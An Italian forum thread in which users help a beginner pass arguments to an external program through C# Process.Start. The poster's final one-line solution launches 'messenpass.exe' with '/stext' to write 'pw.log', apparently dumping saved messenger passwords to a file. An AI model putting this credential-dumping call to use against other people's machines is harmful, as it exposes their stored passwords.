Thejuster (Admin)
Guru^2
Messaggi: 2298
Iscritto: 04/05/2008
|
Codice sorgente - presumibilmente C# / VB.NET |
ProcessStartInfo processo = new ProcessStartInfo();
processo.CreateNoWindow = false;
processo.UseShellExecute = false;
processo.FileName = sistema + "\\pwmf.exe";
processo.Arguments = "/c " + "Qui i tuoi argomenti da inviare";
try
{
using (Process ProcessoExe = Process.Start(processo))
{
ProcessoExe.WaitForExit();
}
}
catch
{
}
|
Mi sa che devo scrivere un articolo su questa cosa,
che passare un argomento tramite un processo o una semplice shell
il c# richiede prima di tutto un parametro e dopo i relativi argomenti da inviare.
in questo caso quello che fai per te e /c
prova a documentarti su google o msdn
|
|
nessuno (Normal User)
Guru^2
Messaggi: 6380
Iscritto: 03/01/2010
|
Postato originariamente da ianna93:
Avevi ragione! però la variabile "sistema" è opportunamente dichiarata e, almeno in teoria, doveva passare il parametro di creare il file log dove si trovava l'exe (non quello in c#), no?
Grazie ancora, siete stati gentilissimi! |
La variabile sistema indica solamente il percorso per l'eseguibile, ma non l'hai inserita nella chiamata per i file di log ...
@Thejuster ... non ho capito cosa intendi ... cosa c'entra il parametro /c ?
Ricorda che nessuno è obbligato a risponderti e che nessuno è perfetto ...
---
Il grande studioso italiano Bruno de Finetti (uno dei padri fondatori del moderno Calcolo delle probabilità) chiamava il gioco del Lotto Tassa sulla stupidità. |
|
ianna93 (Normal User)
Newbie
Messaggi: 11
Iscritto: 23/04/2010
|
Si, @nessuno hai perfettamente ragione su tutto.
@Thejuster io sono alle prime armi e mi serviva qualcosa di semplice e veloce, dato che il risultato è comunque lo stesso. Mi bastava così:
Codice sorgente - presumibilmente Plain Text |
Process.Start(sistema + "\\messenpass.exe", "/stext" + sistema + "pw.log");
|
Comunque se farai una guida a tal proposito sarei molto contento!
|
|